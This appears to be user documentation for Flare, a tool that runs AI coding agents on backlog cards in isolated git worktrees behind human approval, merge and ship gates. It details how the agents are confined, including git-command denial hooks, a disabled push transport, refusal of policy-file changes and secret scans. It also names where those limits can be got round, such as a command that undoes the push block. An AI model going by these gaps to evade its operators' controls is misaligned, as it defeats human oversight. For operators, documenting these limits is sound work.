**Where to find it** — The **Start** button appears only on cards in the **Approved** lane — promoting a card from Backlog to Approved (**→ Approve**, after Refine has written a plan) is the human gate that authorizes dispatching an agent. Failed cards show **Retry** instead, which starts over in a new worktree and discards the failed attempt's changes — except on a card whose work was kept because Flare could not inspect it after a restart, where Retry picks that work up again; when that attempt left a worktree, Retry asks first ("Confirm: discard this attempt"). A failed card that left a diff can still be merged or shipped instead. While another card's merge (or other board action, such as a Ship) is in flight, **Start** is disabled — hover it to see why — and becomes available again as soon as that action finishes.

**How to use it** —

1. Press **→ Approve** on a refined Backlog card (description + plan ready).
2. Click **Start**. The card moves to Active and implements the prepared plan (refine and plan are skipped when they already sit on the card). Its stage badge advances through `implementing` → `review`.
3. Watch progress live in the card inspector, or leave it — every stage output (description, plan) is persisted on the card as it's produced.
4. To halt a running card, open its inspector's **Changes** tab and click **Stop**: edits already in the worktree land the card in Verify marked interrupted — the card offers **Continue** to pick the run up again, and the inspector's Changes tab can still merge or ship what is there; otherwise it's marked failed ("stopped by user") with Retry offered.

**How it works** — The agent implements in `auto` mode (refining and planning ran `read-only`), but its edits are confined to a throwaway git worktree (created under the project's `.flare/worktrees/`) on its own branch — the real safety gate is the human-approved merge, not per-tool prompts. The agent is explicitly forbidden from running git commands (a safety hook denies them) so it can't bypass the review gate by committing or merging itself. Every model and tool step is captured in the card's event-sourced session; a stage failure marks the card `failed` with the error, and any text the agent already produced survives on the card.

**The plan is critiqued before you read it.** Flare's Decisions-needed gate already stops a card on a question only a person can answer — but it cannot notice a question _nobody asked_, and a plan-writer reviewing its own work is the weakest reviewer there is. So after the plan stage lands a plan and before anyone sees it, a second bounded, tool-less pass on the cheap model looks for three things: a **risk** the plan does not weigh (something irreversible, a migration, work outside the repo), a step with **no way to tell whether it worked**, and an **assumption** the plan depends on but never states.

Observations land in a `## Critic notes` section of the plan. A **decision** the critic raises is written into the plan's own `## Decisions needed` section, in the shape the gate already reads — so it blocks Approve through the existing mechanism, with no second gate and no second definition of “unresolved”.

**The critic may raise a decision; it can never answer one.** That is structural, not a prompt instruction: the merge only ever adds, and a check re-reads the result against the plan it started from — a merge that altered or dropped an existing entry is discarded and the original plan kept. The one line it may remove is a `None.` it has just disproved, because “None.” sitting above three decisions is worse than either alone.

Every failure is a no-op: no critic configured, a model that is unavailable, a reply that cannot be parsed, or a plan the critic finds sound all leave the plan byte-identical. Decisions are capped lower than notes (three vs six) because a decision _blocks_ — a verbose pass walling a card behind six questions nobody asked for is how a gate gets clicked through. Turn it off with `fleet.planCritic`.

**Autonomy per card** — There is none to choose: refine and plan run `read-only`, implement runs `auto`. What still stops an implementing card is a floor (a protected path, a credential file) or a rule you wrote. An "ask" with nobody watching waits: it flags the browser tab, fires an OS notification, and is POSTed to `notify.url` if you configured one. The one setting that bounds the wait is the hidden `budget.approvalTimeoutMs` (auto-deny an unanswered approval after; unset by default): with a value, an unanswered approval is auto-denied after that long and the run continues or fails rather than parking — the trace records the denial as a timeout, not as a human decision.

An untrusted project runs no card agent: Refine, answering questions, Start, Request changes and Resolve conflicts are refused with "this project is not trusted yet — mark it trusted in Projects before running cards on it". Start, Request changes and Resolve conflicts are also refused while `.flare/permissions.json` cannot be read, because the agent would run in `auto` without your rules.

**A ceiling for the whole card, not per stage.** `budget.maxCostUsd` bounds a **run** — and a card is several: refine, plan, implement, plus another each time a review sends it back. Each of those gets a fresh cap, so on its own a $5 ceiling bounds a _stage_ and a single card can spend that number five or six times over. Set **Limits → Stop a card at** (`fleet.maxCardCostUsd`) and the whole card shares one ceiling: before each stage Flare prices what the card has already spent — the same projection the cost timeline reads — and hands the run only what is left. The run halts at its next step boundary past the line, with the cost reason naming the number that actually stopped it, and work already done is kept.

It is deliberately a **separate** setting, not a re-reading of `budget.maxCostUsd`: that one bounds a run, people have it set, and quietly turning it into a card ceiling would make every existing board spend a fraction of what it did with nothing to explain why. Unset — the default — leaves every run bounded exactly as it was. A caller may only ever _lower_ the operator's cap, never raise it.

The implement stage is also **told** what it has left, not only stopped at it. The two outcomes are very different: a run that knows it is near the line finishes the most important part, verifies it, and says in its summary what it did not get to — while one that does not is killed mid-edit and leaves a half-applied change for a person to untangle.

**Stage tool ceilings** — Each stage also has a mechanical ceiling on how many tool calls it may make, set by the hidden `fleet.ceilingRefine` (80), `fleet.ceilingPlan` (80) and `fleet.ceilingImplement` (150) in `~/.flare/settings.json`. At the ceiling the stage keeps its turn but is offered **no further tools**, so its only remaining move is to produce the deliverable. The calls of a subagent the stage spawns count against the same ceiling, and its tools are withdrawn with the stage's. That is deliberately _not_ the hidden `budget.maxToolCalls`, which ends the run `budget-exceeded` and would turn an over-exploring but otherwise successful stage into a failed card.

The numbers come from 301 recorded pipeline runs in the event log rather than from intuition — refine's p95 is 43 calls, plan's 41, implement's 83 (implement legitimately needs more, because it edits and runs commands instead of only reading). At these values a ceiling trips on 1–4% of runs: the ones that made 279, 476, and 389 calls against a prompt asking for "a handful". A cap set by feel — 40, say — would have fired on a fifth of perfectly healthy implement runs. Set a stage to `0` to turn its ceiling off; a garbage value is ignored rather than read as `0`, since a typo must not silently produce a tool-less agent.

**Configuration** — The hidden per-run caps `budget.maxSteps` and `budget.maxToolCalls` in `~/.flare/settings.json` bound each stage, **Limits → Capture spend ceiling** bounds what capture-time passes may spend, and the hidden `fleet.captureConcurrency` setting bounds how many run at once. Refine and plan run on `fleet.planModel` (the strongest offered model by default), with separate thinking efforts `fleet.refineEffort` and `fleet.planEffort` (both `xhigh`); implement runs on `fleet.implementModel` (a cheaper model by default) at `fleet.implementEffort` (`high`). All of these are hidden settings in `~/.flare/settings.json`.

### Card inspector

**What it does** — A large dialog over the board for one card, organized into six tabs: **Overview** (the original request, the card's status, errors), **Plan** (the refined description and the editable plan of action), **Trace** (a structured replay of every model call and tool step, with each run's friction diagnostic under its header — where the run spun on a repeated tool call, hit repeated errors, ran an anomalously slow step, or ended without completing cleanly; a smooth run shows "no friction detected"), **Receipt** (a plain-language walkthrough of what the run did and how each change was verified, followed by the agent's own report if it wrote one — a file link in the report opens that file on the Changes tab), **Changes** (the reviewable diff plus all review actions), and **History** (every move, edit and gate verdict on the card, newest first).

**The History tab** — Lists the card's log from [where the board lives](#where-the-board-lives), newest first, each line with how long ago it happened: each move by the lane the board shows (with the stage, and whether the card's note changed), each edit by the fields a person reads, in words (a change only to Flare's own bookkeeping reads "Updated by Flare"), and each gate's verdict in plain words — for example "Secret scan refused (ship)" with its finding count, or "Rubric passed (approve)" with its score and round — coloured passed, refused or skipped. When the last thing that happened was a move between Backlog and Approved, the card is still there, and the board would allow the move back now (its dependencies, its plan, no refinement running), the tab offers **Move back to …**, the same move the board's lanes make, once; nothing else is undone from history. The tab reads the log only while it is open, and again whenever the board changes.

**Where to find it** — Click any card that has something to inspect. Only a card with neither a description nor a plan opens the edit dialog instead — once Refine has produced either, clicking opens the inspector, Backlog lane included. The inspector opens as a modal (close with Esc or ✕); it never opens on its own.

**How it works** — Everything in the inspector is a projection over the card's event log: the card stores a durable pointer to its agent's session, so the trace and receipt replay from the shared event store even after a server restart, when the in-memory agent is long gone. The diff is likewise resolved from the card's recorded git worktree — not the live agent — so review still works after a crash or reload. An error boundary keeps a malformed event from blanking the modal.

**In a sandbox project** — A [sandbox project](#sandbox-execution) (every project of a hosted server) runs each card in a cloud box rather than a worktree on this machine. Such a card shows its box on the Overview tab: **Starting a sandbox**, **Runs in a sandbox** (box id and spend so far), **Waiting for a sandbox** (with the reason; _waiting_ is the concurrency limit, and the card starts on its own when a box frees up), **No sandbox could start** (the monthly budget, or a start that failed; start the card again once that is fixed, or delete it) or **Sandbox lost** (the box is gone: what survived on the card's branch, and how to continue). The board badges only _Waiting for sandbox_, _Sandbox refused_ and _Sandbox lost_; a card's cost adds its box spend to its model spend. When auto-resume is on (`fleet.autoResumeLimit` above 0, in a trusted project), a restart does not resume an interrupted sandbox card whose box is gone, because that would bill a new box: it shows **Sandbox lost** with the reason, and **Continue** rebuilds it from the card's branch. While the sandbox store is not open (no Upstash key, say) such a card is only held, never marked lost.

![The Plan tab: the refined description and the plan of action, each in its own half](https://github.com/Flare-Agentic/flare/raw/main/docs/screenshots/card-inspector-plan.png)

![The Trace tab replaying every step of the card's run, with its friction note](https://github.com/Flare-Agentic/flare/raw/main/docs/screenshots/card-inspector-trace.png)

![The History tab: the card's moves, edits and gate verdicts, newest first](https://github.com/Flare-Agentic/flare/raw/main/docs/screenshots/card-inspector-history.png)

### Review gate and human merge

**What it does** — Nothing an agent produces reaches your main branch automatically. A card in Verify offers: **Accept Merge to main** (commit the worktree edits and merge the branch), **Request changes** (leave line-anchored comments on the diff; the same agent resumes, addresses them, and returns to review), and **Ship as PR** (push the branch and open a draft GitHub PR instead of merging locally — two-step confirmed). A card whose branch conflicts with main also offers **Resolve conflicts**: Flare merges main into the card's branch itself, and where both changed the same lines it sends the card back to its agent to resolve the conflict markers.

**Where to find it** — The **Accept Merge** button sits on Verify-lane cards and in the inspector's **Changes** tab, alongside the diff, Request changes, and Ship actions. On a card marked **Conflicts with main**, the card's button is **Resolve conflicts** instead, and the **Changes** tab shows it above Accept Merge.

A **failed** card that still holds a diff can be merged or shipped from the inspector too — a run can finish the work and then die on its last turn, and that work is on disk either way. Open the card and go to **Changes**: the reason it failed is shown above the merge button, because the diff may equally be a plan applied only partway. **Request changes** stays Verify-only — it re-runs the agent rather than merging a branch, so it needs a card still in review with its agent alive.

On a hosted team project, Accept Merge, Ship and deleting a card are a maintainer's: anyone else sees them disabled, and the Changes tab says "Only a maintainer of this project can merge or ship this card. You can still request changes on it." Resolve conflicts and Request changes stay open to everyone on the project.

**How to use it** —

1. Open the card and review the diff on the **Changes** tab (comment on lines to build a request-changes note).
2. Click **Accept Merge to main**. If a verify command is configured, it runs inside the card's worktree first — a failure keeps the card in review, shows the report, and offers an explicit two-step **Merge anyway** override. The override is good only for the content the gate rejected; any change to what would land voids it.
3. Or click **Ship as PR** → **Confirm: push & open draft PR**. A fail-closed secret scan runs over the diff before anything is pushed; findings block the ship, with a separate audited two-step override ("Ship anyway (override secret gate)"). The override covers only what the gate rejected; any change to what would land voids it. The PR link persists on the card into the Done lane. Leave a shipped card in review: Flare checks its pull request every five minutes and moves the card to Done once GitHub merges it (see [Ship as PR](#ship-as-pr)).

**How it works** — Approve commits the agent's edits onto its branch, merges into main, and removes the worktree; a merge failure is persisted on the card and the card stays in review so retry is clean; a conflict names the files it is in. **Resolve conflicts** commits the card's pending work, then merges main into its branch: a clean merge is committed at once with no agent run, and a text conflict leaves its markers for the card's agent, which edits them away with its file tools (it never runs git). When the round ends Flare commits the merge, with main as its second parent, once no markers remain; if some do, the card returns to review naming them, and Resolve conflicts finishes the job. A conflict the agent cannot edit (a file deleted, renamed or binary on one side) is refused up front and Flare's merge is undone. If the round fails, Flare undoes its merge; the card keeps its work. A card whose worktree is mid-merge shows as conflicting and cannot be merged or shipped until its conflicts are resolved. The secret scan reads what a merge itself changed, not what main brought in. If the agent vanished (e.g. a restart), approve reconciles the recorded branch directly via git — idempotently. Shipped PRs stamp an AIBOM provenance record (model, prompt/diff hashes, tools, verify status) into the commit and PR body, with every outbound string secret-masked.

Accept Merge merges into the branch the project checkout has checked out, and refuses — saying how to fix it — while a rebase, merge, cherry-pick, revert or bisect is in progress there, while HEAD is detached, while tracked files have uncommitted changes, when the card was cut from a different branch than the one checked out, or when the card adds a path the checkout holds as an ignored file.

**Policy files never land from a card.** Accept Merge and Ship refuse a branch that changes `.flare/`, `flare.mcp.json` (or the MCP config file `mcp.configPath` names), `AGENTS.md`, `AGENTS.override.md` or `CLAUDE.md` (at any depth), `.gitattributes`, `.gitmodules`, `.lfsconfig`, the repo's hooks folder, or another harness's instruction folder (`.cursor/rules`, `.github/instructions`, `.kiro/steering`, `.junie/guidelines.md`). These steer every later run or are read by git on your machine. The refusal names the files: apply that change by hand, take it out of the card's branch (Request changes, or revert it in the worktree), and approve again. A branch that moved after its checks ran is refused too ("approve or ship again to check what is there now").

**Refusals show where you pressed.** A refused merge or ship appears in the inspector's **Changes** tab, above Accept Merge, as "Not merged" or "Not shipped" with the reason; a second refusal shows again even when the message is the same, and starting the other action clears it. Accept Merge and Ship stay disabled while the card's diff is still loading or could not be read ("Wait until this card's diff is shown"). If a refresh fails after a diff was shown, the tab keeps the last diff, warns that it may be stale, and merging stays off until it refreshes.

**Configuration** — **Toolchain → Verify command** enables the pre-merge verify gate. A verify that could not run — no installed dependencies in the worktree, a program the shell cannot find, a worktree that is gone — is refused like a failing one, with **Merge anyway** to land it on purpose: nothing lands unverified unless a person chooses it. To have worktrees installed, set **Toolchain → Worktree install command** and turn on **Warm worktrees** (the command runs only in pooled worktrees). **Toolchain → Verify timeout** (2 minutes by default) bounds the run; one it kills is refused as a timeout that names the setting, not reported as failing work.

![A card in review: the diff, Request changes, Accept Merge to main and Ship as PR](https://github.com/Flare-Agentic/flare/raw/main/docs/screenshots/card-inspector-review.png)

### Say what a card waits for

**What it does** — Sets and clears a card's dependencies from the board. A card that waits for another cannot be refined, approved or started until that one is Done (a refine already running is left to finish); when it is, nothing starts on its own — the card waits for a person to press **Start**, as every card does. While it waits, its **Start**, **Retry** and **Continue** buttons are off and say which card it waits for — an approved card that gains a blocker later included. The lane badges say which state a waiting card is in: **Blocked** (waiting for work someone is doing) or **Wedged** (waiting for something that can never happen — a deleted card, or a loop).

**Where to find it** — The **Waits for** section of a card's Edit dialog. On a card that is already Blocked or Wedged, click the badge itself: that is the fastest way in, and it is the one that matters, because a wedged card is exactly where you are when you hit the problem.

**How to use it** —

1. Click a card's **Blocked** / **Wedged** badge (or open Edit on a blank backlog card).
2. Tick the cards this one waits for. Search by title if the board is long.
3. **Clear all** removes every edge; a blocker whose card has been deleted is listed on its own with its own Clear, since it appears in no lane and is exactly what wedges the card.

**How it works** — A card that would close a **loop** is listed but disabled, with the reason on it. The board has the whole graph in hand before the edge exists, so the loop can be refused rather than diagnosed afterwards — the check is one pass over the dependency graph with its edges reversed, since "picking B would loop" is the same question as "can B already reach this card". They are shown rather than hidden on purpose: a card you were looking for simply being absent teaches nothing, while "already waits on this card" teaches the rule.

Done cards are not offered — a Done blocker is already satisfied, so offering one offers a no-op. The list is capped at 40 with a count of what it withheld, which is what the search box is for.

### A running card can propose follow-up cards

**What it does** — An agent part-way through a card is the thing best placed to notice that the work splits, and a summary nobody turns into a card is the wrong place for that. A card's run gets a `propose_subcards` tool: each proposal lands in **Backlog** as an ordinary card, blocked on the card that proposed it.

**Where to find it** — The new cards appear in Backlog like any others. Open one and the inspector's Overview says "Proposed by card `<id>` while it was running — no one typed this."

**How it works** — A proposal is **not** a dispatch. The card lands in `backlog`, and a human refines and approves it exactly as if they had typed it; nothing here starts work and nothing here can. The parent never inherits a child's context and the child never inherits the parent's — Roo's Boomerang tasks settle on summary-only returns because a lead whose window accumulates every subtask's transcript is a lead that compacts, and a compacted lead forgets the plan it was decomposing.

The dependency edge points from the **child** to the parent: the child cannot start until the parent is Done. The other direction reads just as naturally and is a trap — the parent is _running_ when the tool is called, so blocking it on cards that do not exist yet would wedge the very card doing the proposing.

Three bounds: at most **five** proposals per card (counted per session, so a card that spent its budget during Implement does not get five more at Review); a title and brief that are length-capped (120 and 2,000 characters) and stripped of zero-width and BIDI characters, because a card title is read in a lane at a glance — a proposal that carries a secret is refused; and a batch that is validated in full before any of it is written, so a refused batch leaves nothing half-created for the model's retry to duplicate.

The tool is `edit`-tier in the permission engine, which is what it is — a durable write to your board. So a `read-only` run — a card's refine and plan stages — cannot propose, which is the right default for a mode whose whole promise is that a run changes nothing. A read-only coordinator that may propose is one permission rule away, which is a decision an operator makes rather than a hole in a mode.

### What a finished card taught the project

**What it does** — Flare has the retrieval half of a project wiki — a semantic index, a codemap, a memory — and this is the curation half, so a finished card's insights do not die in the inspector. What makes card forty cheaper than card four is that the harness knows what card thirty-nine learned. When a card merges, a second bounded pass proposes up to **three** durable, project-specific facts: a decision and the reason it went that way, a constraint the work ran into, a command or path that turned out to matter.

**Where to find it** — On the merged card, in the inspector's **Changes** tab, below the merged diff and its outcomes: "What this card taught the project", with each fact to keep or discard.

**Nothing is written until you keep it.** A run must never write standing instructions on its own — that is the anti-pattern every auto-knowledge feature shares, and it is worse here than elsewhere, because a standing fact is injected into _every_ later run's prompt and one wrong sentence steers the project until somebody notices. So every fact starts unticked, the button that writes is the one you have to reach for, and **Discard all** is offered just as plainly — it is the answer most cards deserve. The server accepts only strings the card actually proposed, so the endpoint is an approval and not a way to write arbitrary text into a file that steers every future run.

**How it works** — Kept facts are appended to `.flare/rules/learned.md` through the _same_ save path the Instructions pane uses: the same trust gate, the same serializer, the same file. It is an ordinary always-applied rule, so it is loaded into every run, listed in the Instructions pane, editable there and deletable there — a new knowledge-file format would have had to reinvent all of that, less well. Appends are de-duplicated and never rewrite or reorder what is already in the file, because a human may have edited those lines deliberately. The file is capped at 50 facts: a standing rule competes with the task for the model's attention, and past the cap a person prunes rather than a machine silently dropping the oldest.

Zero proposals is a normal and common answer — most work teaches nothing durable, and anything unparseable also yields none, so the failure mode and the quiet answer coincide. The pass is one cheap-role, tool-less model call per merged card; turn it off with `fleet.cardLearnings`.

### Rubric auto-review gate

**What it does** — An optional machine reviewer that grades a finished card's diff against your project rubric (0–100) before you ever look at it. A below-threshold score automatically sends the grader's "changes requested" back to the same agent for a revision round, re-grades, and repeats up to a hard cap — then the card stays in human review. The gate never commits or merges.

**Where to find it** — The grade appears in the inspector's **Changes** tab as "Auto-review N/100 ✓" (or ✗), with the number of auto-fix rounds and a one-line summary.

**How it works** — The gate runs after the pipeline lands a card in review, reusing the exact seam a human "Request changes" uses — a machine grader simply sits in the human's seat, hard-bounded so a stubborn low score can't loop forever. A grading failure leaves the card in review rather than stranding it, and an empty diff passes automatically.

**One criterion you cannot grade yourself out of.** `.flare/rubric.md` _replaces_ the built-in rubric rather than adding to it, which is the right shape for a preference and the wrong one for a floor — a project rubric that says nothing about security would produce a 100 that never looked at it. So a security criterion is applied alongside whatever your rubric says, always: no secret added to the tree, no unsafe handling of untrusted input, no new path around an existing guard, nothing that widens what an agent may do without a human. It is applied unconditionally rather than only when your rubric appears to omit it — that test would be a fuzzy string match on prose, and its two failure modes are not symmetric: a near-duplicate criterion costs you a line in the grade, a missed one costs the floor. A diff that simply does not touch this area meets it.

**Configuration** — Opt in by creating `.flare/rubric.md` (its presence turns the gate on). The hidden `fleet.rubricThreshold` sets the pass score (default `80`) and `fleet.rubricMaxRounds` caps auto-fix rounds (default `2`, hard-bounded 0–5), both in `~/.flare/settings.json`.

### Crash recovery and stranded cards

**What it does** — If the server dies mid-pipeline, cards don't strand on the Active lane forever. On the next startup Flare reconciles every interrupted card from git ground-truth: work Flare itself landed (its own landing record says so) → **Done**; a branch that merely looks merged, or unmerged work in the worktree → **Verify** (marked interrupted if the run was cut short — see Continue below); nothing landed → **failed** with a "restart the card to re-run it" hint; a landing cut off where Flare cannot tell whether it merged → **failed** with "check the target branch before restarting". A Refine that was cut off is reconciled too: one that had already written its description and plan just loses its stage badge, otherwise the card is marked failed with a hint to press Refine again.

**Continue after a crash** — A card whose run was cut short with work in its worktree lands in Verify marked interrupted, and its button reads **Continue** instead of Accept Merge: it re-attaches to the same worktree and session and picks the run up where it stopped. On startup Flare does this by itself for a trusted project, up to three times per card (`fleet.autoResumeLimit`, hidden; `0` turns it off). A card you stopped is never restarted. Each automatic restart is counted on the card as a **↻N** badge, and a card that has used up its restarts waits for you to press Continue.

A card that already recorded its **own** failure is left exactly as its run left it — stage, error and all. It was not stranded: it reached a terminal state under its own power and said why, and since this sweep runs on every restart, relabelling it would delete that reason again on every boot and offer a Continue button that cannot work. Such a card keeps its **Retry** and its explanation. (Merge state still wins: if the work turns out to have landed, the card is marked Done regardless.)

**Where to find it** — Automatic; you'll simply find previously-stranded cards in the correct lane after a restart, and reconciliation results in the server log.

**How it works** — At project startup Flare first closes any "ghost" runs the crashed process never terminated (appending the terminal event their sessions were missing), then sweeps active cards whose agents are gone and classifies each by its recorded worktree branch's merge state. The sweep is per-card resilient and idempotent — re-running it on already-correct cards changes nothing. Because a card stores durable pointers (session id, worktree name) rather than copies, its trace, diff, and review actions all still work on recovered cards.


## Agents & Worktrees

One project can run a whole fleet of agents in parallel, each in its own isolated git worktree with its own engine, session, and safety pipeline. Agents are created by the [backlog pipeline](#backlog-board--autonomous-pipeline) — you approve a card and it dispatches one — then you review its diff and decide, human-in-the-loop, what merges to main. Every agent's session lands in the shared event store, so its trace, diff, and activity remain replayable even after the agent itself is gone.

### Worktree-per-agent isolation

**What it does** — Every agent works in its own git worktree on its own branch, so parallel agents never trample each other's edits or the main checkout. Nothing reaches your main branch until a human merges it.

**Where to find it** — Automatic. A card's branch is named after its [category](#card-categories), number and title (`feature/42-add-csv-export`); a name git refuses, one that clashes with an existing branch (or one it would nest under, or that nests under it; in any letter case on Windows and macOS), or one made from a title that carries a secret, falls back to a generated `dispatch-<tag>-<n>`. The card records it. Worktrees live under the project's `.flare/worktrees/` directory, one folder level deep: the branch name with `/` turned into `-` (`feature-42-add-csv-export`). A card in a [sandbox project](#sandbox-execution) — every project of a hosted server — runs in a cloud box instead, on the same branch.

**How it works** — Spawning runs `git worktree add` with the card's branch (a warm worktree keeps its pool folder name; Flare finds every worktree by its branch); **Accept Merge** commits the agent's edits onto its branch and merges it into main; deleting a card force-deletes its worktree and branch. Review diffs are computed durably from git itself — committed and uncommitted changes since the branch forked from main, including synthesized hunks for untracked new files — so a review is never blank after a server restart. On startup, stale worktrees left behind by a crash are reaped, but any with unmerged work are preserved, and so is one that has a branch checked out other than the card's own: the reaper never deletes a branch of yours that ended up in a card's worktree. A folder under `.flare/worktrees` that git no longer lists (a removal that failed partway) is never deleted outright, since git cannot say whether it holds uncommitted work: it is moved to `.flare/worktrees-orphaned` and deleted there at the first startup 7 days on; its `.git` file is renamed so git run inside it cannot reach a live worktree of the same name.

**Git stays Flare's** — Flare authors every commit, merge and push; the agent edits files. A pipeline agent's `git`, `hub` and `gh` write commands (`gh pr create`, `gh pr merge`, `gh api`, …) are refused before they run, with a reason that tells it to use the file tools, and so is a command that might run git through something only known when it runs (a variable as the program, text piped into a shell). Every command an agent starts also gets a git config that sends a push to a network remote (`https://`, `ssh://`, `git@…` and the like) to a transport that does not exist, so a script or build tool that tries to push fails rather than publishing. A command that sets out to undo that can; only a confining sandbox tier, which hides the credentials, holds against it.

**Temp folders** — Under the `os` sandbox tier (Linux and macOS), each workspace a command runs in — a card's worktree, a project's checkout — gets its own temp folder under `FLARE_HOME/tmp/cards/` in place of the shared `/tmp`, which its commands can neither read nor write. So a command never sees another card's temp files. A folder whose workspace is gone (a landed or deleted card's worktree) is removed when a card is torn down and at server start.

### Investigation guardrails

**What it does** — Bounds how many Refine passes run at once, and optionally how much a triage session may spend on them.

**Where to find it** — Nothing to click, and no status line — the guardrail enforces silently. A card beyond the concurrency cap is badged **Queued** on the Kanban board until a slot frees, and a Refine call beyond the spend ceiling is rejected until the window rolls. Configure it at **Settings → Limits → Capture spend ceiling** and **Capture spend window (hours)**; the concurrency cap is the hidden `fleet.captureConcurrency` (default 3).

**Why it exists** — Refine puts a real agent run behind a button you press while triaging. It dispatches an agent into a fresh worktree and runs two model stages. Unbounded, a pass over twenty cards is twenty worktrees and twenty concurrent model runs — with the cost appearing on the cost chips only afterwards. **Limits → Stop a run at** bounds each run individually and none of them collectively. Investigation should be a budget you set, not a number you discover.

**How to use it** —

1. The concurrency cap is on by default at 3. Refine as many cards as you like; the ones beyond the cap are badged **Queued** and start as slots free.
2. Set **Limits → Capture spend ceiling** if you want a ceiling. Once reached, Refine answers with a clear refusal.
3. The window beside it sets the period (default 24h). It rolls, so the budget resets itself rather than becoming a number you have to keep raising.

**How it works** — Spend is a fold over the same `usage` events that feed the cost chips and the usage timeline — no new measurement, and no extra cost to run it. Only sessions the guard admitted are counted, so a session you ran yourself and a card's implement pass are never charged to triage.

`Queued` is a real card stage rather than an absent one, so a waiting card reads as "waiting its turn" instead of looking like a Refine that did nothing. A queued card can't be approved (its plan is about to be replaced) and can't have its plan hand-edited, exactly like one that is actively refining. Deleting a queued card, or refining it again through the SDK or MCP, takes it out of the queue rather than leaving a pass to run later that nobody is waiting for.

Reaching the ceiling answers **429**, not 400: the request was fine and will succeed once the window rolls. A card already queued when the ceiling is hit is marked failed with the reason on it, rather than sitting badged `Queued` for a pass that will never run.

The guard is per project and in-memory. It is a guardrail, not a security control — restarting the server clears the window, and that is a choice an operator makes rather than a hole to plug.

**Pairs with** — the [warm worktree pool](#warm-worktree-pool) below: a warm pool is what makes the queue short.

**Configuration** — **Limits → Capture spend ceiling** and **Limits → Capture spend window (hours)**. How many refine passes run at once is the hidden `fleet.captureConcurrency` in `~/.flare/settings.json`.

### Warm worktree pool

**What it does** — Keeps a few worktrees provisioned and installed ahead of time, so starting a card hands one over instead of building it. A cold start pays a full checkout plus a dependency install; a warm one costs a branch checkout.

**Where to find it** — Off by default, under **Settings → Toolchain** (near the foot of the group): turn it on with **Warm worktrees**. It has no UI — the pool fills in the background, and the evidence it is working is that cards start without paying for a checkout and install.

**How to use it** —

1. Set **Toolchain → Warm worktrees** to how many ready worktrees you want (1–8). Each one is a full checkout, so start small.
2. Set **Toolchain → Worktree install command** to your install command (Flare offers one from your lockfile) — `pnpm install --frozen-lockfile`, `uv sync`, `bundle install`. Without it entries are checked out but bare, which still saves the checkout on a large repo but not the install.
3. That is all. Cards, dispatches and Refine runs use the pool automatically; nothing in the board changes.

**Why it is worth more than the latency** — The pre-merge verify gate cannot run whenever a card's worktree has a `package.json` and no `node_modules`, and the edit formatter fails open on the same tree — which is every cold fleet worktree, since nothing installs into one. On a Node project every card then stops for **Merge anyway**, and its edits go unformatted. A warm worktree is one both can execute in.

**How it works** — Entries are content-addressed by the **lockfiles committed on the branch cards are cut from**, not by `HEAD` — an uncommitted edit in your checkout is not what a card gets, so it changes nothing. When a card claims one, a spare that changed since it was pooled (a modified or new file `git status` sees) is discarded rather than handed over; a change inside ignored files, such as its installed dependencies, is not detected. So on Linux, macOS and Docker the sandbox keeps every unclaimed spare read-only to every command (git's own record of the spare's branch says which are unclaimed, and a warm folder git has no record of counts as one), and a card's own worktree, claimed spare or not, stays writable for its verify. A spare is installed with copied files, never pnpm's hard links, so writing a dependency in the project's own `node_modules` cannot change a spare's. Two limits remain: a command already running when a spare is made can still write into it, and the Windows tier fixes its write rules once per process, so it does not protect spares at all (the `local` tier confines nothing). Otherwise the branch is re-cut to the card's name from the current base, in place — so the code is fresh even though the install is hours old, and nothing downstream (the review diff, the merge, the startup reaper) treats a warm worktree differently from a cold one; they all find a worktree by its branch. The folder keeps its pool name on purpose: an installed tree is bound to the path it was installed at, so moving it would mean re-installing, and no install ever runs when a card starts. Keying on `HEAD` too, which is the obvious first design, would invalidate the whole pool on every push and never go warm on an active repo.

Commit a lockfile change, or a change to what `package.json` tells an install (its install and prepare scripts, `pnpm` settings, overrides, `packageManager`), and the affected entries are retired and rebuilt in the background. A project with no lockfile installs from its root manifest (`package.json`, `pyproject.toml`, `Gemfile`, `go.mod`, …), so there any change to that file retires them. Upgrading Node, or running the server on another platform or architecture, retires them too: native modules built for one Node do not load in another. Entries survive a restart by design: they are re-adopted from a manifest rather than reinstalled, so a dev-server restart does not trigger an install storm.

**What it refuses to do** —

- **Block a dispatch.** Nothing ready, a stale fingerprint, a git operation that lost a race — every failure path falls through to provisioning cold. The pool can make a start faster; it is never the reason one fails.
- **Pool a dirty worktree.** If the setup command leaves anything git can still see — an un-ignored `node_modules`, a lockfile the installer rewrote — the entry is thrown away with an explanation instead of pooled. A card's commit runs `git add -A`, so those files would otherwise be committed into every diff and merged to main.
- **Run your install scripts for an untrusted project.** The command is yours (it comes from the environment, not the repo), but `pnpm install` executes the repo's own lifecycle scripts. An untrusted project still gets pre-checked-out worktrees; it just does not get them installed. The server says so on startup rather than leaving you to wonder why the pool never warms.
- **Cost anything when it is off.** With no configured size and no pool ever having run, startup does not spawn a single process.

**Configuration** — **Toolchain → Warm worktrees** and **Worktree install command** (offered from your repo's lockfile). The install timeout (`fleet.warmSetupTimeoutMs`, 15 minutes) and the maintenance interval (`fleet.warmRefreshMs`, 1 minute) are hidden settings in `~/.flare/settings.json`. The pool serves only projects whose cards run on this machine: a sandbox project, and every project of a hosted server, has none.

### Attention feed

**What it does** — Keeps you informed while the tab is in the background: desktop notifications fire for approvals ("Flare — approval needed"), finished runs ("Flare — run completed" / "run failed"), cards reaching review or failing ("Flare — card ready for review" / "card failed"), a card that needs your answers ("Flare — a card needs your answers"), a wedged card ("Flare — card wedged"), a card no sandbox could start for ("Flare — sandbox refused"), and a card stuck in one stage for two hours ("Flare — card stalled"; the hidden `fleet.stallAlertHours`, `0` disables). Every one of these but a finished run also flips the tab title to `● Flare — needs attention`. Clicking a notification refocuses the app; focusing the tab clears the title flag.

**Where to find it** — Always on while any project page is open; there is nothing to enable in the UI. Notifications use the browser's Web Notifications permission.

**How it works** — A single SSE feed of project events is consumed once at the layout level; a pure classifier decides which events warrant a title flag and/or a notification. Both effects fire only while the tab is unfocused — if you are already looking at the app, the approval modal and board badges are the surface. Notification permission is requested lazily, on your next click or keypress after the first attention-worthy event, never on page load; a denied permission is respected and never re-asked. Repeated events of one kind coalesce instead of stacking.

### Outbound notifications (reach you when the tab is closed)

**What it does** — The tab notifications above only reach you while a Flare tab is open. Set **Integrations → Attention webhook** and Flare also POSTs each attention event — an approval waiting, a card ready for review or failed, a run finished — to a URL of your choice, so a push can reach your phone even when Flare is closed and you're away from the machine. Point it at [ntfy](https://ntfy.sh), a Slack or Discord incoming webhook, or any endpoint you run.

